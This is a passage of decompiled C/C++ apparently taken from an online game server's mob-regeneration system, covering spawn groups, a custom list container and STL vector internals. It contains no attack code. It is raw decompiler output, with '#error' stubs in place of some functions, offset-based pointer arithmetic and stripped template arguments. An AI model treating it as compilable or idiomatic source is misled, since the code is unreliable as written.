*(_DWORD *)(regensec + 28); *((_DWORD *)v5 + 21) = regenCount; *((_DWORD *)v5 + 18) = v6; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetBrain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_SetBrain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetBrain"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Set"); return 1; } //----- (00484150) -------------------------------------------------------- void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this) { KQRegenTable *v1; // edi@1 int v2; // esi@1 int v3; // esi@6 _finddata_t buffer; // [sp+8h] [bp-11Ch]@1 v1 = this; v2 = _findfirst("../9Data/Shine/MobRegen/KingdomQuest/*.txt", &buffer); if ( v2 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Path Invalid", 0); ShineExit("KQRegenTable::kqrt_Load"); } KQRegenTable::kqrt_Load(v1, buffer.name); while ( !_findnext(v2, &buffer) ) KQRegenTable::kqrt_Load(v1, buffer.name); _findclose(v2); v3 = _findfirst("../9Data/Shine/MobRegen/Instant/*.txt", &buffer); if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Path Invalid", 1); ShineExit("KQRegenTable::kqrt_Load"); } KQRegenTable::kqrt_Load(v1, buffer.name); while ( !_findnext(v3, &buffer) ) KQRegenTable::kqrt_Load(v1, buffer.name); _findclose(v3); } //----- (00484280) -------------------------------------------------------- #error "484280: undefined or illegal type '#434' (funcsize=127)" //----- (00484490) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, MobRegenClass::MobBreederGroup *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { MobRegenClass::MobBreederGroup::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (004844C0) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreederGroup::operator_(int this, int a2) { int v2; // edx@1 int result; // eax@1 void *v4; // ebx@1 signed int v5; // [sp+14h] [bp+4h]@1 v2 = a2; result = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_WORD *)(this + 20) = *(_WORD *)(a2 + 20); v4 = (void *)(this + 24); v5 = 64; do { memcpy(v4, (char *)v4 + v2 - this, 0x64u); v4 = (char *)v4 + 100; --v5; } while ( v5 ); *(_DWORD *)(this + 6424) = *(_DWORD *)(v2 + 6424); *(_DWORD *)(this + 6428) = *(_DWORD *)(v2 + 6428); *(_DWORD *)(this + 6432) = *(_DWORD *)(v2 + 6432); *(_DWORD *)(this + 6436) = *(_DWORD *)(v2 + 6436); *(_DWORD *)(this + 6440) = *(_DWORD *)(v2 + 6440); *(_BYTE *)(this + 6444) = *(_BYTE *)(v2 + 6444); memcpy((void *)(this + 6445), (const void *)(v2 + 6445), 0x3Cu); *(_DWORD *)(this + 6508) = *(_DWORD *)(v2 + 6508); *(_DWORD *)(this + 6512) = *(_DWORD *)(v2 + 6512); *(_DWORD *)(this + 6516) = *(_DWORD *)(v2 + 6516); *(_DWORD *)(this + 6520) = *(_DWORD *)(v2 + 6520); *(_DWORD *)(this + 6524) = *(_DWORD *)(v2 + 6524); memcpy((void *)(this + 6528), (const void *)(v2 + 6528), 0x38u); return result; } //----- (00484620) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, MobRegenClass::MobBreederGroup *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { MobRegenClass::MobBreederGroup::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (00484650) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, MobRegenClass::MobBreederGroup *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MobRegenClass::MobBreederGroup::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004846A0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, MobRegenClass::MobBreederGroup *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MobRegenClass::MobBreederGroup::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004846F0) -------------------------------------------------------- #error "4846F0: undefined or illegal type '#803' (funcsize=88)" //----- (00484810) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (00484860) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__cdecl std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::const_iterator v5; // ecx@1 FamilyMobManagement::MobSpeciesSlot *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->mss_Species = **(_DWORD **)&v5; result->mss_Killed = *(_WORD *)(*(_DWORD *)&v5 + 4); } *(_DWORD *)&v5 += 6; } return result; } //----- (004848A0) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::mbg_ScriptDataStore(MobRegenClass::MobBreederGroup *this, MobRegenStruct::RegenMobStruct *data, ORToken *aitype) { int v3; // ebp@1 const char *v4; // ebx@1 unsigned int v5; // eax@1 signed __int16 v6; // di@1 int v7; // eax@5 void *v8; // esi@7 int hnd; // [sp+14h] [bp-14h]@0 unsigned int aitypea; // [sp+30h] [bp+8h]@5 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((void *)(v3 + 6445), &data->rms_regen, 0x30u); *(_QWORD *)(v3 + 6508) = *(_QWORD *)&aitype->ort_Name[0]; *(_QWORD *)(v3 + 6516) = *(_QWORD *)&aitype->ort_Name[8]; v4 = data->rms_mobname; *(_DWORD *)(v3 + 6524) = *(_DWORD *)&aitype->ort_Name[16]; v5 = BTree::operator__(&mobdatabox.mdb_btree, data->rms_mobname); v6 = -1; if ( v5 != -1 ) v6 = v5; if ( MobDataBox::operator__(&mobdatabox, v6) ) { HIWORD(v7) = HIWORD(data); aitypea = 0; if ( data->rms_Number ) { while ( 1 ) { LOWORD(v7) = *(_WORD *)(v3 + 12); if ( (_WORD)v7 == -1 ) { v8 = 0; } else { hnd = v7; v8 = (void *)(*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v3 + 4))(v3, v7); } if ( !v8 ) break; if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore : Wrong mob name", v4); v6 = 1; } if ( !MobRegenClass::MobBreeder::mb_Set(v8, v3, v6, (int)&data->rms_regen, 1) ) (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v3 + 8))(v3, hnd); if ( *(_BYTE *)(v3 + 6444) == 89 ) { if ( *(_DWORD *)(v3 + 6576) ) MobRegenClass::MobBreeder::mb_SetLeader(v8, *(_DWORD *)(v3 + 6576)); else *(_DWORD *)(v3 + 6576) = v8; } v7 = aitypea++ + 1; if ( aitypea >= data->rms_Number ) goto LABEL_21; } AssertClass::ac_AssertFail( &shineassert, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore : Too many mob in regengroup", 0); } } else { AssertClass::ac_AssertFail(&shineassert, "MobBreeder::mbg_ScriptDataStore : Invalid mob name", v4); } LABEL_21: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore"); } //----- (00484A90) -------------------------------------------------------- void __thiscall MobHatchery::mh_View(MobHatchery *this, #434 *sp) { MobHatchery *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_View"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_View"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; invaster = sp; List::l_4AllInList( (List *)((char *)v2 + (_DWORD)((char *)&wholesaver + 18452640)), (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))MobRegenClass::MobBreederGroup::mbg_View); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_View"); } //----- (00484B40) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00484C60) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(FamilyMobManagement::MobSpeciesSlot *_First, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 FamilyMobManagement::MobSpeciesSlot *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->mss_Species = *(_DWORD *)&_Val->mss_Species; v6->mss_Killed = _Val->mss_Killed; } ++v6; --v5; } while ( v5 ); } } //----- (00484CA0) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::MobBreederGroup(MobRegenClass::MobBreederGroup *this) { MobRegenClass::MobBreederGroup *v1; // esi@1 int v2; // edi@1 unsigned int v3; // ebx@1 int v4; // eax@3 signed int i; // [sp+0h] [bp-14h]@1 v1 = this; *(_DWORD *)this = List::_vftable_; *((_DWORD *)this + 4) = 0; List::l_MakeList((List *)this, 0x40u); v2 = (int)((char *)v1 + 24); *(_DWORD *)v1 = MobRegenClass::MobBreederGroup::_vftable_; _eh_vector_constructor_iterator_( (char *)v1 + 24, 0x64u, 64, (void (__thiscall *)(void *))MobRegenClass::MobBreeder::MobBreeder, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *((_DWORD *)v1 + 1610) = 0; *((_DWORD *)v1 + 1609) = 0; *((_DWORD *)v1 + 1608) = 0; *((_DWORD *)v1 + 1607) = 0; *((_DWORD *)v1 + 1606) = 0; *(_DWORD *)((char *)v1 + 6501) = 0; *(_DWORD *)((char *)v1 + 6497) = 0; *(_DWORD *)((char *)v1 + 6493) = 0; *((_DWORD *)v1 + 1631) = 0; *((_DWORD *)v1 + 1630) = 0; *((_DWORD *)v1 + 1629) = 0; *((_DWORD *)v1 + 1628) = 0; *((_DWORD *)v1 + 1627) = 0; i = 0; v3 = 0; do { if ( i < *((_WORD *)v1 + 2) ) { v4 = *((_DWORD *)v1 + 2) + v3; if ( !*(_DWORD *)v4 ) *(_DWORD *)v4 = v2; } FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetGroup"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_SetGroup"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v2 = v1; *(_BYTE *)(v2 + 68) = 1; *(_DWORD *)(v2 + 64) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetGroup"); v3 += 12; v2 += 100; ++i; } while ( v3 < 0x300 ); *((_DWORD *)v1 + 1645) = 0; } // 5B9548: using guessed type int (__stdcall *List_MobRegenClass__MobBreeder____vftable_[3])(__int16 hnd); // 5B96E0: using guessed type int (__thiscall *MobRegenClass__MobBreederGroup___vftable_[3])(List *this, int hnd); //----- (00484E00) -------------------------------------------------------- void __thiscall MobHatchery::mh_ScriptBreed(MobHatchery *this, Name3 *map_, MobRegenStruct::RegenMobStruct *data, MobRegenStruct::RegenGroupStruct *group, ORToken *aitype) { MobHatchery *v5; // esi@1 int v6; // eax@1 int v7; // esi@2 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_ScriptBreed"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_ScriptBreed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = *(_WORD *)((char *)v5 + (_DWORD)((char *)&wholesaver + 18452652)); if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = (*(int (__stdcall **)(int))(*(_DWORD *)((char *)v5 + (_DWORD)((char *)&wholesaver + 18452640)) + 4))(v6); if ( v7 ) { MobRegenClass::MobBreederGroup::mbg_Set( (MobRegenClass::MobBreederGroup *)v7, &data->rms_groupname, map_, group->rgs_family, &group->rgs_regreg); *(_DWORD *)(v7 + 6580) = MobRoaming::MobRoamingSet::mrs_Get(&roamingpaths, &data->rms_groupname); MobRegenClass::MobBreederGroup::mbg_ScriptDataStore((MobRegenClass::MobBreederGroup *)v7, data, aitype); } else { AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_ScriptBreed : Too many MobRegenGroup", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_ScriptBreed"); } //----- (00484F10) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *__formal) { return std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (00484F30) -------------------------------------------------------- void __thiscall MobHatchery::MobHatchery(MobHatchery *this) { MobHatchery *v1; // ebx@1 char *v2; // esi@1 signed int v3; // edi@1 int v4; // eax@1 int v5; // edx@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 int v15; // ecx@12 int v16; // ebp@12 int v17; // ecx@12 signed int v18; // [sp+10h] [bp-10h]@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x19B8u, 4096, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::MobBreederGroup, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::_MobBreederGroup); v2 = (char *)v1 + (_DWORD)((char *)&wholesaver + 18452640); *(_DWORD *)((char *)v1 + (_DWORD)((char *)&wholesaver + 18452640)) = List::_vftable_; *(_DWORD *)((char *)v1 + (_DWORD)((char *)&wholesaver + 18452640) + 16) = 0; List::l_MakeList( (List *)((char *)v1 + (_DWORD)((char *)&wholesaver + 18452640)), 0x1000u); *(_DWORD *)((char *)v1 + (_DWORD)((char *)&wholesaver + 18452640)) = MobRegenClass::MobRegenGroupList::_vftable_; v3 = 2; v4 = 0; v5 = (int)((char *)v1 + 13168); v18 = 1024; do { if ( v3 - 2 < *((_WORD *)v2 + 2) ) { v6 = *((_DWORD *)v2 + 2); v7 = *(_DWORD *)(v6 + v4); v8 = v4 + v6; if ( !v7 ) *(_DWORD *)v8 = v5 - 13168; } if ( v3 - 1 < *((_WORD *)v2 + 2) ) { v9 = *((_DWORD *)v2 + 2); v10 = *(_DWORD *)(v9 + v4 + 12); v11 = v9 + v4 + 12; if ( !v10 ) *(_DWORD *)v11 = v5 - 6584; } if ( v3 < *((_WORD *)v2 + 2) ) { v12 = *((_DWORD *)v2 + 2); v13 = *(_DWORD *)(v12 + v4 + 24); v14 = v12 + v4 + 24; if ( !v13 ) *(_DWORD *)v14 = v5; } if ( v3 + 1 < *((_WORD *)v2 + 2) ) { v15 = *((_DWORD *)v2 + 2); v16 = *(_DWORD *)(v15 + v4 + 36); v17 = v15 + v4 + 36; if ( !v16 ) *(_DWORD *)v17 = v5 + 6584; } v5 += 26336; v4 += 48; v3 += 4; --v18; } while ( v18 ); } // 5B9564: using guessed type int (__stdcall *List_MobRegenClass__MobBreederGroup____vftable_[3])(__int16 hnd); // 5B9D74: using guessed type int (__stdcall *MobRegenClass__MobRegenGroupList___vftable_[2])(int hnd); //----- (00485060) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Ptr, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00485090) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00485100) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x2AAAAAAA ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(6 * _Capacity); v2->_Myend = (FamilyMobManagement::MobSpeciesSlot *)((char *)v4 + 6 * _Capacity); v2->_Myfirst = (FamilyMobManagement::MobSpeciesSlot *)v4; v2->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)v4; result = 1; } else { result = 0; } return result; } //----- (00485150) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned int *_Val) { std::vector > *v4; // esi@1 unsigned int *v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #325 **v16; // eax@25 unsigned int *v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #325 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (const unsigned int *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#325 **)(v20 - v23); v4->_Mylast = (unsigned int *)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#325 ***)&v21, v25, (#325 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#325 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (unsigned int *)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#325 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (unsigned int *)((char *)_Newvec + _Counta); v4->_Mylast = (unsigned int *)((char *)_Newvec + 4 * v19); v4->_Myfirst = (unsigned int *)_Newvec; } } } //----- (00485330) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val) { std::vector > *v4; // esi@1 unsigned __int16 v5; // dx@1 FamilyMobManagement::MobSpeciesSlot *v6; // ecx@1 int v7; // ebx@2 unsigned int v8; // edi@4 int v9; // eax@6 int v10; // eax@11 int v11; // ebx@15 int v12; // eax@18 std::vector >::const_iterator v13; // ST14_4@22 FamilyMobManagement::MobSpeciesSlot *v14; // ecx@22 int v15; // eax@23 int v16; // edi@25 FamilyMobManagement::MobSpeciesSlot *v17; // edx@26 FamilyMobManagement::MobSpeciesSlot *v18; // eax@26 std::vector >::const_iterator v19; // ecx@30 std::vector >::iterator v20; // ebx@30 FamilyMobManagement::MobSpeciesSlot *v21; // ecx@31 FamilyMobManagement::MobSpeciesSlot *v22; // ST20_4@31 unsigned int v23; // edi@31 int v24; // [sp-Ch] [bp-24h]@1 FamilyMobManagement::MobSpeciesSlot _Tmp; // [sp+0h] [bp-18h]@1 int *v26; // [sp+8h] [bp-10h]@1 int v27; // [sp+14h] [bp-4h]@22 FamilyMobManagement::MobSpeciesSlot *_Wherea; // [sp+20h] [bp+8h]@32 FamilyMobManagement::MobSpeciesSlot *_Counta; // [sp+24h] [bp+Ch]@22 void *_Newvec; // [sp+28h] [bp+10h]@22 FamilyMobManagement::MobSpeciesSlot *_Newveca; // [sp+28h] [bp+10h]@30 v4 = this; v5 = _Val->mss_Killed; *(_DWORD *)&_Tmp.mss_Species = *(_DWORD *)&_Val->mss_Species; v6 = this->_Myfirst; v26 = &v24; _Tmp.mss_Killed = v5; if ( v6 ) v7 = v4->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v4->_Mylast - v6; else v9 = 0; if ( 715827882 - v9 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::const_iterator)v4->_Mylast; v20 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 6 >= _Count ) { _Wherea = (FamilyMobManagement::MobSpeciesSlot *)(*(_DWORD *)&v19 - 6 * _Count); v4->_Mylast = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - 6 * _Count), v19, *(FamilyMobManagement::MobSpeciesSlot **)&v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(v19.___u0.baseclass_0.baseclass_0.dummy[0] - 6 * _Count)); std::copy_backward( *(FamilyMobManagement::MobSpeciesSlot **)&v20, _Wherea, _Newveca); std::fill( *(FamilyMobManagement::MobSpeciesSlot **)&v20, (FamilyMobManagement::MobSpeciesSlot *)(*(_DWORD *)&v20 + 6 * _Count), &_Tmp); } else { std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( _Where.baseclass_0, v19, (FamilyMobManagement::MobSpeciesSlot *)(*(_DWORD *)&_Where + 6 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(6 * _Count)); v21 = v4->_Mylast; v22 = v4->_Mylast; v27 = 2; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 6, &_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)v23; std::fill( *(FamilyMobManagement::MobSpeciesSlot **)&_Where, (FamilyMobManagement::MobSpeciesSlot *)(v23 - 6 * _Count), &_Tmp); } } else { if ( 715827882 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v4->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Newvec = operator new(6 * v11); v13 = (std::vector >::const_iterator)v4->_Myfirst; v27 = 0; _Counta = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( v13, _Where.baseclass_0, (FamilyMobManagement::MobSpeciesSlot *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( _Where.baseclass_0, (std::vector >::const_iterator)v4->_Mylast, &_Counta[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v14 = v4->_Myfirst; if ( v14 